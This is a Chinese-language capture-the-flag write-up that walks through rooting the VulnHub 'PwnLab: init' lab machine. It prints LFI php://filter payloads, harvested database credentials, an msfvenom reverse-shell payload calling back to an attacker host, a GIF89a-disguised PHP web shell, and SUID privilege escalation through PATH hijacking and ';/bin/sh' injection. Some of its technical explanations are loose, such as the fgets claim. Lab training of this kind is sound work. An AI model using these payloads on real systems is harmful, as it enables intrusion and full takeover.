VulnHub-PwnLab: init-靶机渗透学习
字数 1921 2025-08-15 21:33:06
PwnLab: init 靶机渗透教学文档
靶机概述
- 靶机名称: PwnLab: init
- 难度等级: 中级(CTF)
- 发布日期: 2016年8月1日
- 目标: 获取root权限并读取flag.txt
- 下载地址: VulnHub PwnLab: init
信息收集阶段
1. 网络扫描
使用nmap进行端口扫描:
nmap -sV <靶机IP>
发现开放服务:
- 80/tcp - HTTP
- 111/tcp - rpcbind
- 3306/tcp - MySQL
- 44225/tcp - RPC
2. Web应用枚举
使用dirb扫描Web目录:
dirb http://<靶机IP>
发现重要目录:
- /upload
使用nikto扫描漏洞:
nikto -h http://<靶机IP>
发现config.php文件可能存在敏感信息
漏洞利用阶段
1. LFI漏洞利用
发现URL形式为?page=,可能存在本地文件包含漏洞。
尝试直接访问/etc/passwd失败:
http://<靶机IP>/?page=etc/passwd
使用php://filter元封装器读取文件内容:
http://<靶机IP>/?page=php://filter/read=convert.base64-encode/resource=login
php://filter详解:
- 一种元封装器,用于数据流打开时的筛选过滤
read=<读链的筛选列表>convert.base64-encode: 将文件内容转换为base64格式输出resource=<要过滤的数据流>: 指定要筛选过滤的数据流
解码获取的base64内容,得到login.php源码:
<?php
include 'config.php';
// ... 登录逻辑代码 ...
?>
2. 获取数据库凭据
通过LFI读取config.php:
http://<靶机IP>/?page=php://filter/read=convert.base64-encode/resource=config
解码后获取数据库配置:
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
3. 数据库访问
使用获取的凭据连接MySQL:
mysql -h <靶机IP> -u root -p
# 输入密码: H4u%QJ_H99
查询Users数据库中的用户表:
USE Users;
SELECT * FROM users;
获取用户凭据(存储为base64):
- kent/JWzXuBJJNy
- mike/SIfdsTEn6I
- kane/iSv5Ym2GRo
解码后可用于Web登录。
4. 文件上传漏洞利用
登录后发现有文件上传功能,限制只能上传图片。
分析上传处理逻辑(通过LFI获取upload.php源码):
- 检查文件后缀
- 使用getimagesize()验证图片有效性
- 其他上传条件检查
绕过方法:
使用GIF89a图片头欺骗:
- 使用msfvenom生成PHP反弹shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=443 -f raw > shell.php
- 添加GIF89a图片头:
echo 'GIF89a; <?php system($_GET["cmd"]); ?>' > shell.gif
上传成功后获取文件路径。
5. 反向Shell获取
分析index.php源码发现:
if (isset($_COOKIE['lang'])) {
include($_COOKIE['lang']);
}
利用方法:
- 修改cookie中的lang值为上传的恶意文件路径
- 访问首页触发包含漏洞
设置监听:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <攻击机IP>
set LPORT 443
exploit
权限提升阶段
1. 初始Shell访问
获取meterpreter会话后,查看用户和目录:
cd /home
ls
发现用户:kent、kane、mike
2. 从kane到mike提权
在kane目录下发现具有SUID权限的文件:
find / -perm -4000 2>/dev/null
# 或
find / -user mike -perm -4000 2>/dev/null
分析文件:
strings /path/to/msgmike
发现执行了cat /home/mike/msg.txt
提权方法:
- 进入/tmp目录
- 创建伪造的cat命令:
echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat
- 修改PATH环境变量:
export PATH=/tmp:$PATH
- 执行msgmike文件,获得mike用户的shell
3. 从mike到root提权
在mike目录下发现msg2root文件具有SUID权限且属主为root:
ls -l msg2root
# -rwsr-xr-x 1 root root ...
分析文件:
strings msg2root
发现使用fgets()函数读取输入
fgets()特性:
- 从指定流读取一行
- 遇到换行符或EOF停止
- 但可以通过分号(;)执行多条命令
提权方法:
./msg2root
# 输入: ;/bin/sh
获得root shell
总结与关键点
-
信息收集:
- 全面扫描开放端口和服务
- Web目录枚举发现敏感文件(config.php)
- 使用nikto等工具辅助发现漏洞
-
LFI漏洞利用:
- 使用php://filter绕过文件内容显示限制
- 通过包含配置文件获取数据库凭据
- 读取源码分析应用逻辑
-
数据库利用:
- 使用获取的凭据直接访问MySQL
- 提取用户凭据(注意base64编码)
- 利用获取的凭据登录Web应用
-
文件上传绕过:
- 分析上传限制条件
- 使用GIF89a图片头欺骗
- 生成PHP反向shell
-
Cookie注入:
- 通过分析源码发现包含漏洞
- 修改lang cookie触发反向shell
-
权限提升技巧:
- 查找SUID权限文件
- 环境变量劫持(PATH)
- 命令注入(分号分隔)
- 理解SUID/SGID权限机制
-
关键命令总结:
- 文件包含:
php://filter/read=convert.base64-encode/resource=filename - 上传绕过:
GIF89a; <?php system($_GET["cmd"]); ?> - 环境变量劫持:
export PATH=/tmp:$PATH - 命令注入:
;/bin/sh
- 文件包含:
通过以上步骤,可以系统性地完成从信息收集到最终获取root权限的全过程。每个环节都需要仔细分析和验证,特别是权限提升部分需要灵活运用系统特性。